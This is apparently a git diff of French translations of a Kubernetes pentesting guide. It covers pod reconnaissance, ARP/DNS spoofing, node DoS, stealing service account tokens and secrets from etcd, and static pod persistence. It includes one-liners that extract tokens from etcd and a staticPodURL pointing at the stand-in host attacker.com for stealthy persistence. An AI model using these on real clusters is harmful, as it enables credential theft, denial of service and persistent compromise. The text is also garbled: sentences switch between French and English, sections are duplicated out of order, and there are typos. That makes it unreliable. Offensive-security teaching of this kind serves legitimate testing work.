workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installera et analysera les plages IP du cluster kubernetes : ```bash sudo apt-get update sudo apt-get install nmap @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -Consultez la page suivante pour apprendre comment vous pourriez **attack Kubernetes specific services** afin de **compromise other pods/all the environment** : +Découvrez la page suivante pour apprendre comment vous pourriez **attack Kubernetes specific services** afin de **compromise other pods/all the environment** : {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -Dans le cas où le **compromised pod is running some sensitive service** où d'autres pods doivent s'authentifier, vous pourriez être en mesure d'obtenir les credentials envoyés par les autres pods en **sniffing local communications**. +Dans le cas où le **compromised pod exécute un service sensible** auquel d’autres pods doivent s’authentifier, vous pourriez être en mesure d’obtenir les credentials envoyés par les autres pods en **sniffing local communications**. ## Network Spoofing -Par défaut, des techniques comme **ARP spoofing** (et grâce à cela **DNS Spoofing**) fonctionnent dans le réseau kubernetes. Ensuite, à l'intérieur d'un pod, si vous avez la **NET_RAW capability** (qui est présente par défaut), vous pourrez envoyer des paquets réseau spécialement forgés et réaliser des **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ -De plus, si le **malicious pod** s'exécute sur le **same node as the DNS Server**, vous pourrez réaliser une **DNS Spoofing attack to all the pods in cluster**. +Par défaut, des techniques comme **ARP spoofing** (et grâce à cela **DNS Spoofing**) fonctionnent dans le réseau kubernetes. Donc, à l’intérieur d’un pod, si vous avez la **NET_RAW capability** (qui est présente par défaut), vous pourrez envoyer des paquets réseau forgés sur mesure et effectuer des **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ +De plus, si le **malicious pod** s’exécute sur le **same node as the DNS Server**, vous pourrez effectuer une **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md @@ -138,9 +138,9 @@ kubernetes-network-attacks.md ## Node DoS -Il n'existe aucune spécification des ressources dans les manifests Kubernetes et **not applied limit** ranges pour les conteneurs. En tant qu'attaquant, nous pouvons **consume all the resources where the pod/deployment running** et épuiser les autres ressources, ce qui provoquera un DoS pour l'environnement. +Il n’y a pas de spécification des ressources dans les manifests Kubernetes et **not applied limit** ranges pour les conteneurs. En tant qu’attaquant, nous pouvons **consume all the resources where the pod/deployment running** et affamer les autres ressources, ce qui provoque un DoS pour l’environnement. -Cela peut être fait avec un outil tel que [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +Cela peut être fait avec un outil comme [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` @@ -150,13 +150,13 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx ``` ## Node Post-Exploitation -Si vous avez réussi à **escape from the container**, vous trouverez certaines choses intéressantes sur le node : +If you managed to **escape from the container** there are some interesting things you will find in the node: -- Le processus **Container Runtime** (Docker) -- Plus de **pods/containers** en cours d’exécution sur le node que vous pouvez abuse comme celui-ci (plus de tokens) -- L’ensemble du **filesystem** et de l’**OS** en général -- Le service **Kube-Proxy** à l’écoute -- Le service **Kubelet** à l’écoute. Vérifiez les fichiers de config : +- The **Container Runtime** process (Docker) +- More **pods/containers** running in the node you can abuse like this one (more tokens) +- The whole **filesystem** and **OS** in general +- The **Kube-Proxy** service listening +- The **Kubelet** service listening. Check config files: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -164,16 +164,22 @@ Si vous avez réussi à **escape from the container**, vous trouverez certaines - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` -- D’autres **kubernetes common files** : +- Other **kubernetes common files**: - `$HOME/.kube/config` - **User Config** - `/etc/kubernetes/kubelet.conf`- **Regular Config** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** +### Image Pull and Registry Credentials + +After node access, also review how the node pulls private images. Useful evidence includes runtime image metadata (`crictl images`), Pod or ServiceAccount `imagePullSecrets`, containerd registry configuration such as `/etc/containerd/config.toml` and `/etc/containerd/certs.d`, and kubelet image credential provider flags such as `--image-credential-provider-config` and `--image-credential-provider-bin-dir`. + +Do not assume that a cached private image means you have reusable registry credentials. It might only prove that the image exists on this node. However, static runtime registry credentials, Docker config JSON pull secrets, or a credential provider that can mint short-lived pull credentials can expose private registry access. Recent Kubernetes versions also support service-account-token based kubelet credential providers for image pulls, so check whether the provider is using Pod-bound service account tokens and which audience it requests before reporting the impact. + ### Find node kubeconfig -Si vous ne trouvez pas le fichier kubeconfig dans l’un des chemins commentés précédemment, **vérifiez l’argument `--kubeconfig` du processus kubelet** : +If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal @@ -199,20 +205,20 @@ echo "" fi done ``` -Le script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) va automatiquement **récupérer les tokens d'autres pods et vérifier s'ils ont la permission** que vous recherchez (au lieu de les chercher un par un) : +Le script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) va automatiquement **récupérer les tokens des autres pods et vérifier s’ils ont la permission** que vous recherchez (au lieu de les chercher un par un) : ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### Privileged DaemonSets +### DaemonSets privilégiés -A DaemonSet est un **pod** qui sera **exécuté** sur **tous les nodes du cluster**. Par conséquent, si un DaemonSet est configuré avec un **privileged service account,** sur **TOUS les nodes** vous allez pouvoir trouver le **token** de ce **privileged service account** que vous pourriez abuser. +Un DaemonSet est un **pod** qui sera **run** sur **tous les nodes du cluster**. Par conséquent, si un DaemonSet est configuré avec un **privileged service account,** sur **TOUS les nodes** tu pourras trouver le **token** de ce **privileged service account** que tu pourrais abuse. -The exploit est le même que dans la section précédente, mais vous ne dépendez plus de la chance. +L’exploit est le même que dans la section précédente, mais tu ne dépends plus de la chance. ### Pivot to Cloud -Si le cluster est géré par un cloud service, généralement le **Node will have a different access to the metadata** endpoint que le Pod. Donc, essayez d’**accéder au metadata endpoint depuis le node** (ou depuis un pod avec hostNetwork à True) : +Si le cluster est géré par un cloud service, en général le **Node aura un accès différent au metadata** endpoint que le Pod. Donc, essaie d’**accéder au metadata endpoint depuis le node** (ou depuis un pod avec hostNetwork à True) : {{#ref}} kubernetes-pivoting-to-clouds.md @@ -220,272 +226,191 @@ kubernetes-pivoting-to-clouds.md ### Steal etcd -Si vous pouvez spécifier le [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) du Node qui exécutera le container, obtenez un shell à l’intérieur d’un control-plane node et récupérez la **etcd database** : +Si tu peux spécifier le [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) du Node qui exécutera le container, obtien un shell dans un control-plane node et récupère la **etcd database** : ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane nodes ont le **role master** et dans les clusters gérés dans le cloud vous ne pourrez rien y exécuter. +control-plane nodes ont le **rôle master** et, dans les **cloud managed clusters**, vous ne pourrez rien y exécuter. -#### Read secrets from etcd 1 +#### Lire les secrets depuis `etcd` 1 -Si vous pouvez exécuter votre pod sur un noeud control-plane en utilisant le sélecteur `nodeName` dans le pod spec, vous pourriez avoir un accès facile à la base de données `etcd`, qui contient toute la configuration du cluster, y compris tous les secrets. +Si vous pouvez exécuter votre pod sur un control-plane node en utilisant le sélecteur `nodeName` dans le pod spec, vous pourriez avoir un accès facile à la base de données `etcd`, qui contient toute la configuration du cluster, y compris tous les secrets. -Ci-dessous se trouve une méthode rapide et sale pour récupérer des secrets depuis `etcd` s’il s’exécute sur le noeud control-plane sur lequel vous êtes. Si vous voulez une solution plus élégante qui lance un pod avec l’utilitaire client `etcdctl` et utilise les credentials du noeud control-plane pour se connecter à `etcd` où qu’il s’exécute, consultez [cet exemple de manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion. +Ci-dessous se trouve une méthode rapide et sale pour récupérer des secrets depuis `etcd` s’il s’exécute sur le control-plane node sur lequel vous êtes. Si vous voulez une solution plus élégante qui lance un pod avec l’utilitaire client `etcd` `etcdctl` et utilise les credentials du control-plane node pour se connecter à `etcd` où qu’il s’exécute, consultez [cet example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion. -**Vérifiez si `etcd` s’exécute sur le noeud control-plane et voyez où se trouve la base de données (cela se fait sur un cluster créé avec `kubeadm`)** +**Vérifiez si `etcd` s’exécute sur le control-plane node et voyez où se trouve la database (c’est sur un cluster créé avec `kubeadm`)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -# Attacking Kubernetes from inside a Pod +Lorsqu'un attaquant compromet un Pod dans un cluster Kubernetes, il peut souvent l'utiliser comme point d'appui pour découvrir des secrets, se déplacer latéralement et, dans certains cas, prendre le contrôle du cluster entier. -Lorsque vous avez accès à une `Pod` sur un cluster `Kubernetes`, vous pouvez souvent commencer à chercher des informations intéressantes, des configurations faibles, des secrets, des jetons, des points de montage, des capacités, et des permissions RBAC qui peuvent vous permettre de vous déplacer davantage dans le cluster. +Dans cette section, nous verrons quelques techniques courantes pour attaquer Kubernetes depuis l'intérieur d'un Pod. +```bash +data-dir=/var/lib/etcd +``` +**Afficher les données dans la base de données etcd :** +```bash +strings /var/lib/etcd/member/snap/db | less +``` +**Extraire les tokens de la database et afficher le nom du service account** +```bash +db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done +``` +**Même commande, mais quelques `grep` pour ne renvoyer que le token par défaut dans le namespace `kube-system`** +```bash +db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default +``` +# Attacking Kubernetes from inside a pod -## Inspecting the environment +Une fois que tu as un accès à un pod sur le cluster, il y a quelques choses que tu peux faire pour tenter de trouver des informations d’intérêt : -Commencez par énumérer l'environnement : +- **BypassRBAC** + Si le pod est monté avec le service account token, tu peux l’utiliser pour interagir avec l’API Kubernetes. Selon les permissions du service account, tu pourrais être capable de lister des ressources sensibles, de créer de nouveaux pods, de lire des secrets, etc. + +- **Access the node** + Si le pod est en mode `privileged`, a des capacités supplémentaires, ou monte des volumes sensibles, tu pourrais potentiellement accéder au node hôte. + +- **Lateral movement** + Tu peux inspecter le réseau interne, les services, les ConfigMap, les secrets, et d’autres workloads pour trouver d’autres cibles ou des credentials réutilisables. + +- **Escape to the cloud** + Si le pod a accès à des credentials cloud via des variables d’environnement, des volumes montés, ou l’identité du node, tu peux peut-être pivoter vers le compte cloud sous-jacent. + +- **Persistence** + Avec les bonnes permissions, un attaquant peut créer des objets Kubernetes persistants, comme des DaemonSet, des CronJob, ou modifier des workloads existants pour conserver l’accès. + +## Reconnaissance de base depuis un pod + +Quelques vérifications utiles : ```bash +hostname +id env mount -ps aux -ip a -netstat -tulpn +cat /etc/resolv.conf +cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` -Cherchez des variables d'environnement intéressantes, des montages de `ServiceAccount`, des sockets `docker` ou `containerd`, et toute autre information qui pourrait révéler comment le conteneur est configuré. - -## ServiceAccount tokens - -Dans `Kubernetes`, les `Pods` ont souvent un `ServiceAccount` monté à l'intérieur du conteneur. Cela peut vous donner un token `JWT` qui peut être utilisé pour appeler l'API `Kubernetes`. - -Les emplacements courants sont : +Vérifie aussi si le pod peut joindre l’API server : ```bash -/var/run/secrets/kubernetes.io/serviceaccount/token -/var/run/secrets/kubernetes.io/serviceaccount/ca.crt -/var/run/secrets/kubernetes.io/serviceaccount/namespace +curl -k https://kubernetes.default.svc ``` -Si le `ServiceAccount` a des permissions élevées, vous pouvez l'utiliser pour : - -- lister les `Pods` -- lire les `Secrets` -- créer ou modifier des `Pods` -- créer des `Roles` ou des `RoleBindings` -- exécuter des `commands` dans d'autres `Pods` - -Exemple : +Si tu peux accéder à l’API, essaie d’utiliser le service account token pour lister les ressources : ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api ``` -## Discovering RBAC permissions +## Découverte de permissions -Une fois que vous avez un token, essayez d'énumérer les permissions `RBAC` : +Tu peux tester ce que le service account est autorisé à faire : ```bash -kubectl auth can-i --token="$TOKEN" --list +kubectl auth can-i --list ``` -Si `kubectl` n'est pas disponible, vous pouvez interroger directement l'API `Kubernetes`. +Si `kubectl` n’est pas installé, tu peux faire des requêtes directes à l’API avec le token. -Les permissions intéressantes incluent : +## Secrets et ConfigMap -- `get secrets` -- `create pods` -- `patch pods` -- `create rolebindings` -- `create clusterrolebindings` -- `impersonate users` -- `exec` dans `Pods` existants - -## Reading secrets - -Si vous pouvez lire des `Secrets`, vérifiez les jetons `cloud` ou les identifiants pour d'autres services, comme `aws`, `gcp`, `Azure`, `GitHub`, ou les bases de données. - -Exemple de récupération de `Secrets` : +Les secrets sont souvent une source d’accès vers d’autres systèmes. Vérifie si tu peux les lire : ```bash -curl -k -H "Authorization: Bearer $TOKEN" \ - https://kubernetes.default.svc/api/v1/namespaces/default/secrets +kubectl get secrets +kubectl get secret -o yaml ``` -Les `Secrets` sont souvent encodés en `base64`. +Les ConfigMap peuvent aussi contenir des informations sensibles, comme des endpoints internes, des identifiants non secrets, ou des indices sur l’architecture. -## Escaping through mounted volumes +## Volumes montés -Vérifiez les volumes montés dans le conteneur. Parfois, des `hostPath` ou des volumes partagés peuvent exposer des données sensibles du nœud ou du système de fichiers de l'hôte. - -Cherchez : - -- `/var/run/docker.sock` -- `/run/containerd/containerd.sock` -- des répertoires montés depuis l'hôte -- des clés SSH -- des fichiers de configuration -- des sauvegardes - -Avec un socket `docker`, vous pouvez souvent obtenir un accès root sur l'hôte en créant un nouveau conteneur privilégié. - -## Privileged containers and capabilities - -Vérifiez si le conteneur est `privileged` ou dispose de capacités `Linux` élevées. +Regarde quels volumes sont montés dans le pod : ```bash -cat /proc/1/status -capsh --print +mount +df -h +ls -la /var/run/secrets/kubernetes.io/serviceaccount/ ``` -Les capacités utiles incluent `CAP_SYS_ADMIN`, `CAP_NET_ADMIN`, et `CAP_SYS_PTRACE`. +Des montages intéressants peuvent inclure : -Si le conteneur est `privileged`, l'`escape` du conteneur vers l'hôte peut devenir beaucoup plus simple. +- des volumes `hostPath` +- des `docker.sock` +- des secrets projetés +- des certificats ou clés TLS +- des données d’autres applications -## Access to the kubelet +## Accès au node -Sur certains clusters, le `kubelet` est accessible depuis le conteneur. Si vous pouvez atteindre le port du `kubelet`, vous pourriez être en mesure de : +Si tu peux accéder à des fichiers du node via un `hostPath`, cherche : -- lire les `Pods` -- exécuter des `commands` -- récupérer des journaux -- accéder aux `Secrets` montés +- `/etc/kubernetes/` +- `/var/lib/kubelet/` +- `/var/lib/docker/` +- `/run/containerd/` +- `/root/.kube/` +- des fichiers de configuration cloud -Exemples de ports : +Avec un accès suffisant, il peut être possible d’écrire sur le filesystem du node ou d’exécuter du code sur celui-ci. -- `10250` -- `10255` +## Mouvement latéral dans le cluster -## Lateral movement +Depuis un pod, tu peux scanner le réseau du cluster : -Une fois à l'intérieur du cluster, utilisez les accès obtenus pour rechercher d'autres `Pods`, `Namespaces`, et `Secrets` intéressants. Les faiblesses courantes incluent : - -- `ServiceAccounts` trop permissifs -- `NetworkPolicies` manquantes -- `Secrets` réutilisés -- `images` avec des identifiants intégrés -- `CI/CD` `tokens` dans les variables d'environnement - -## Summary - -L'attaque de `Kubernetes` depuis l'intérieur d'un `Pod` consiste généralement à : - -1. énumérer l'environnement -2. extraire les jetons `ServiceAccount` -3. vérifier les permissions `RBAC` -4. lire les `Secrets` -5. chercher les sockets et volumes montés -6. exploiter `privileged` ou les capacités élevées -7. pivoter vers d'autres services ou nœuds - -L'accès initial à un `Pod` est souvent seulement le début du chemin vers un compromis plus large du cluster. ```bash -data-dir=/var/lib/etcd +nmap -sn 10.0.0.0/8 ``` -**Voir les données dans la base de données etcd:** + +ou interroger les services DNS et Kubernetes : + ```bash -strings /var/lib/etcd/member/snap/db | less +nslookup kubernetes.default +nslookup etcd.default ``` -**Extraire les tokens depuis la base de données et afficher le nom du service account** -```bash -db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done -``` -**Même commande, mais avec quelques greps pour ne renvoyer que le token par défaut dans le namespace kube-system** -```bash -db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default -``` -# Attacking Kubernetes from inside a pod -When you are inside a pod, you can often reach more of the cluster than from the outside. Depending on the pod's configuration, you may be able to: +Cherche aussi : -- Access the Kubernetes API -- Steal service account tokens -- Abuse mounted secrets -- Reach other internal services -- Move laterally to nodes or other pods +- des services exposés sans authentification +- des bases de données internes +- des dashboards +- des endpoints d’administration +- des credentials réutilisables dans les environnements -## Common starting points +## Erreurs fréquentes -Inside a pod, first look for: +- suppositions de confiance entre namespaces +- service accounts trop permissifs +- secrets montés inutilement +- conteneurs `privileged` +- montages `hostPath` +- policies réseau absentes ou trop larges -- Environment variables -- Mounted files under `/var/run/secrets/kubernetes.io/serviceaccount/` -- Network access to the cluster API -- Writable volumes or shared mounts -- Privileged capabilities +## Défense -## Service account token +Pour réduire le risque : -A very common way to interact with the cluster is through the service account token mounted inside the pod. You can use it to authenticate to the Kubernetes API and enumerate resources. - -Example files: - -- `/var/run/secrets/kubernetes.io/serviceaccount/token` -- `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt` -- `/var/run/secrets/kubernetes.io/serviceaccount/namespace` - -With these, you can query the API and check what the token can do. - -## Kubernetes API access - -If the pod can reach the API server, you can enumerate: - -- Namespaces -- Pods -- Secrets -- ConfigMaps -- Deployments -- Roles and RoleBindings - -If the service account has excessive permissions, this can lead to full cluster compromise. - -## Mounted secrets - -Pods may have secrets mounted as files. These can include: - -- Database credentials -- Cloud credentials -- API keys -- SSH keys - -Always inspect mounted volumes and environment variables for sensitive data. - -## Privileged pods - -If the pod is privileged or has dangerous capabilities, you may be able to: - -- Mount the host filesystem -- Access the Docker socket -- Escape the container -- Read node-level data - -This can quickly turn into full node compromise. - -## Lateral movement - -Once you have credentials or access inside the cluster, look for: - -- Overly permissive RBAC -- Reused secrets -- Weak internal services -- Misconfigured network policies - -This often allows movement from one pod to another, or from a pod to the node. - -## Summary - -Being inside a pod can provide a strong foothold in Kubernetes. The most important things to check are service account tokens, mounted secrets, API permissions, and whether the pod has elevated privileges. +- applique le moindre privilège aux service accounts +- évite les conteneurs `privileged` +- limite `hostPath` +- utilise des network policies +- protège l’API server +- fais tourner les workloads avec des droits minimaux +- surveille l’usage anormal des secrets et de l’API Kubernetes ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` #### Lire les secrets depuis etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info. -2. Transfer the **`etcd`** snapshot out of the node in your favourite way. -3. Unpack the database: +1. Créez un snapshot de la base de données **`etcd`**. Consultez [**ce script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) pour plus d'informations. +2. Transférez le snapshot **`etcd`** hors du node de la manière de votre choix. +3. Décompressez la base de données : ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` @@ -498,33 +423,33 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. Obtenir les secfrets: +6. Obtenir les secrets: ```bash etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -Les _Static Pods_ sont gérés directement par le daemon kubelet sur un nœud spécifique, sans que l'API server ne les observe. Contrairement aux Pods gérés par le control plane (par exemple, un Deployment) ; à la place, le **kubelet surveille chaque static Pod** (et le redémarre s'il échoue). +_Les Static Pods_ sont gérés directement par le daemon kubelet sur un nœud spécifique, sans que le API server les observe. Contrairement aux Pods gérés par le control plane (par exemple, un Deployment) ; à la place, le **kubelet surveille chaque static Pod** (et le redémarre s’il échoue). Par conséquent, les static Pods sont toujours **liés à un seul Kubelet** sur un nœud spécifique. -Le **kubelet essaie automatiquement de créer un mirror Pod sur le Kubernetes API server** pour chaque static Pod. Cela signifie que les Pods exécutés sur un nœud sont visibles sur l'API server, mais ne peuvent pas être contrôlés depuis là. Les noms des Pods auront le nom d'hôte du nœud en suffixe, précédé d'un tiret. +Le **kubelet essaie automatiquement de créer un mirror Pod sur le Kubernetes API server** pour chaque static Pod. Cela signifie que les Pods s’exécutant sur un nœud sont visibles sur le API server, mais ne peuvent pas être contrôlés depuis celui-ci. Les noms des Pods auront un suffixe correspondant au hostname du nœud, précédé d’un tiret. > [!CAUTION] -> Le **`spec` d'un static Pod ne peut pas faire référence à d'autres objets API** (par exemple, ServiceAccount, ConfigMap, Secret, etc. Donc **vous ne pouvez pas abuser de ce comportement pour lancer un pod avec un serviceAccount arbitraire** sur le nœud actuel afin de compromettre le cluster. Mais vous pourriez utiliser cela pour exécuter des pods dans différents namespaces (si jamais c'est utile pour une raison quelconque). +> Le **`spec` d’un static Pod ne peut pas faire référence à d’autres objets API** (par exemple, ServiceAccount, ConfigMap, Secret, etc. Donc **vous ne pouvez pas abuser de ce comportement pour lancer un pod avec un serviceAccount arbitraire** sur le nœud actuel afin de compromettre le cluster. Mais vous pourriez l’utiliser pour exécuter des pods dans différents namespaces (si cela est utile pour une raison quelconque). -Si vous êtes sur l'hôte du nœud, vous pouvez le faire créer un **static pod à l'intérieur de lui-même**. C'est très utile car cela peut vous permettre de **créer un pod dans un namespace différent** comme **kube-system**. +Si vous êtes sur l’hôte du nœud, vous pouvez le faire créer un **static pod en son sein même**. C’est très utile car cela peut vous permettre de **créer un pod dans un namespace différent** comme **kube-system**. -Afin de créer un static pod, les [**docs sont d'une grande aide**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Vous avez essentiellement besoin de 2 choses : +Afin de créer un static pod, la [**docs sont d’une grande aide**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Vous avez essentiellement besoin de 2 choses : -- Configurer le paramètre **`--pod-manifest-path=/etc/kubernetes/manifests`** dans le service **kubelet**, ou dans la configuration **kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) et redémarrer le service -- Créer la définition dans la **pod definition** dans **`/etc/kubernetes/manifests`** +- Configurer le paramètre **`--pod-manifest-path=/etc/kubernetes/manifests`** dans le service **kubelet**, ou dans la **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) et redémarrer le service +- Créer la définition du **pod definition** dans **`/etc/kubernetes/manifests`** -**Une autre manière plus stealth serait de :** +**Une autre méthode plus stealth serait de :** -- Modifier le paramètre **`staticPodURL`** dans le fichier de configuration de **kubelet** et définir quelque chose comme `staticPodURL: http://attacker.com:8765/pod.yaml`. Cela fera en sorte que le processus kubelet crée un **static pod** en récupérant la **configuration depuis l'URL indiquée**. +- Modifier le paramètre **`staticPodURL`** dans le fichier de configuration de **kubelet** et définir quelque chose comme `staticPodURL: http://attacker.com:8765/pod.yaml`. Cela fera en sorte que le processus kubelet crée un **static pod** en récupérant la **configuration depuis l’URL indiquée**. -**Exemple** de configuration de **pod** pour créer un pod privilégié dans **kube-system** tiré de [**ici**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**Example** de configuration de **pod** pour créer un privilege pod dans **kube-system** pris de [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod @@ -552,7 +477,7 @@ type: Directory ``` ### Supprimer des pods + nœuds unschedulable -Si un attaquant a **compromised un node** et qu’il peut **supprimer des pods** d’autres nodes et **empêcher d’autres nodes d’exécuter des pods**, les pods seront relancés sur le node compromis et il pourra **steal les tokens** qui y sont exécutés.\ +Si un attaquant a **compromised un node** et qu’il peut **delete pods** depuis d’autres nodes et **make other nodes not able to execute pods**, les pods seront relancés sur le node compromis et il pourra **steal the tokens** exécutés dedans.\ Pour [**plus d’infos, suivez ce lien**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Automatic Tools diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 6a8558ffe..0262749ec 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Il existe **différentes façons d'exposer des services** dans Kubernetes afin que les points de terminaison **internes** et **externes** puissent y accéder. Cette configuration Kubernetes est assez critique, car l'administrateur pourrait donner accès à des **attackers à des services auxquels ils ne devraient pas pouvoir accéder**. +Il existe **différentes façons d'exposer des services** dans Kubernetes afin que les endpoints **internes** et les endpoints **externes** puissent y accéder. Cette configuration Kubernetes est assez critique car l'administrateur pourrait donner accès à des **attackers à des services auxquels ils ne devraient pas pouvoir accéder**. ### Automatic Enumeration -Avant de commencer à énumérer les façons dont K8s permet d'exposer des services au public, sachez que si vous pouvez lister les namespaces, services et ingresses, vous pouvez trouver tout ce qui est exposé au public avec : +Avant de commencer à énumérer les différentes façons dont K8s permet d'exposer des services au public, sachez que si vous pouvez lister les namespaces, les services et les ingresses, vous pouvez trouver tout ce qui est exposé au public avec : ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,7 +20,7 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Un **ClusterIP** service est le **service** Kubernetes **par défaut**. Il vous fournit un **service à l’intérieur** de votre cluster auquel d’autres applications dans votre cluster peuvent accéder. Il n’y a **aucun accès externe**. +Un **ClusterIP** service est le **service** Kubernetes **par défaut**. Il vous fournit un **service interne** dans votre cluster auquel d'autres applications à l'intérieur de votre cluster peuvent accéder. Il n'y a **aucun accès externe**. Cependant, cela peut être accessible en utilisant le Kubernetes Proxy : ```bash @@ -50,7 +50,7 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Cette méthode nécessite d'exécuter `kubectl` en tant qu'**utilisateur authentifié**._ +_Cette méthode nécessite que vous exécutiez `kubectl` en tant qu'**utilisateur authentifié**._ Lister tous les ClusterIPs : ```bash @@ -58,9 +58,9 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam ``` ### NodePort -Lorsque **NodePort** est utilisé, un port dédié est rendu disponible sur tous les Nodes (représentant les Virtual Machines). Le **traffic** dirigé vers ce port spécifique est alors systématiquement **routed to the service**. En général, cette méthode n’est pas recommandée en raison de ses inconvénients. +Lorsque **NodePort** est utilisé, un port désigné est rendu disponible sur tous les Nodes (représentant les Virtual Machines). Le **Traffic** dirigé vers ce port spécifique est alors systématiquement **routed to the service**. En général, cette méthode n'est pas recommandée en raison de ses inconvénients. -Lister tous les NodePorts : +Lister tous les NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,41 +81,42 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Si vous **ne spécifiez pas** le **nodePort** dans le yaml (c'est le port qui sera ouvert), un port dans la **plage 30000–32767 sera utilisé**. +Si vous **ne 